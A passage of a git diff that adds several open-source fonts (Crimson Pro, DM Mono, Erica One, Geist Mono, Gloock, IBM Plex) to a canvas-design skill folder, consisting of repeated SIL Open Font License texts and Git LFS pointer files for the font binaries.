+Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..5dced17dcc7846f4475caff0d18aea7dd5a75716 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/BricolageGrotesque-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:972a6d098c9867ae131d0ea99e221e63976b11a19d4b931c2c7ace525674e4f6 +size 90920 diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..9a4959906c2421cea9addc55d59f19ad8f96898b --- /dev/null +++ b/skills/canvas-design/canvas-fonts/CrimsonPro-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:48f191e38355c8db100eb3ce157c20f9302a3b9a37b44a660f77ecfce3986609 +size 107352 diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..bf2742a8e8a67cccdc4578d3421d28157b92f314 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/CrimsonPro-Italic.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:52318db3526b644e6efa60be0b3ca5a50e40fbe8bd026c261e0aa206f0772267 +size 108828 diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt b/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..f976fdc910257e3de8f4b24475963edb81b6ba46 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf b/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..2ca667fad229d33392d7d25a8d118a494538776e --- /dev/null +++ b/skills/canvas-design/canvas-fonts/CrimsonPro-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:48fad08cb1917a7b2f2c6fe5135d6c07743a6663cf7631ec4481108aaf081422 +size 106696 diff --git a/skills/canvas-design/canvas-fonts/DMMono-OFL.txt b/skills/canvas-design/canvas-fonts/DMMono-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..5b17f0c628c0a76ceb057e1b44d0112ab9a63ad2 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/DMMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf b/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..38d014804611b77b4f80b53d0a391aa9f08396d0 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/DMMono-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f98ada968dc3b6b2c08d3f5caaf266977df0bfe0929372b93df5a06cf2ace450 +size 48852 diff --git a/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt b/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..490d012017f42bee136a3d3cb0d79ef9c3ba4561 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt @@ -0,0 +1,94 @@ +Copyright (c) 2011 by LatinoType Limitada (luciano@latinotype.com), +with Reserved Font Names "Erica One" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf b/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..5ac1b635028e447a924f296e56c35ce40b064c6d --- /dev/null +++ b/skills/canvas-design/canvas-fonts/EricaOne-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:db1d89e80e33a8a01beaaac7a85df582857d24a43f1e181461aa7ff5d701476a +size 24872 diff --git a/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf b/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..639664b05a56b03977e2237a77e3d10cf4cc6d22 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/GeistMono-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:75c0828d5c1ee44b9ef9f4df577bf41595ec362e2ea3f1e558590c9e92c7949d +size 78304 diff --git a/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt b/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..679a685a2343079632b0dd836fecb7cefbea6f0d --- /dev/null +++ b/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf b/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..e9ac35148effd75bf0044723306935398c27e72f --- /dev/null +++ b/skills/canvas-design/canvas-fonts/GeistMono-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a55c1b51cda4afeab9e471e7947b85a20f7c8831d7e6b1470c1b7fbdc0f0f15e +size 78232 diff --git a/skills/canvas-design/canvas-fonts/Gloock-OFL.txt b/skills/canvas-design/canvas-fonts/Gloock-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..363acd33d9e37e60b9941229448244b6a2d22461 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Gloock-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf b/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..2dbaf0fe06ba555cbd6550c105906814a287735d --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Gloock-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e86b4ce66dbd3f1f83eee8db99ec96e0da1128c3f53df0e9b3b7472025dfe960 +size 95156 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf b/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..74f98a0b03eb22d6fec77ba88e399e591487c1c7 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexMono-Bold.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dbd2a2fb024579438d6400a84e57579bfd2dbe67c306c8fd9fde92a61e4f2eea +size 136008 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt b/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt new file mode 100644 index 0000000000000000000000000000000000000000..e423b74780b16934a073769bd147d46479ceb8b2 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt @@ -0,0 +1,93 @@ +Copyright © 2017 IBM Corp. with Reserved Font Name "Plex" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf b/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..cfc8c706129d899cf3a5adca4ade4d5e9c83168a --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexMono-Regular.ttf @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ab08018ccd276b79fb2c636bb95b9c543598f9d50505fe92506fcb4dae7810cd +size 133796 diff --git a/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..dd20aa905d64ec8109c5152bb990fce6ea444dce --- /dev/null +++ b/skills/canvas-design/canvas-fonts/IBMPlexSerif-Bold.ttf @@ -0,0 +1,3 @@ +version 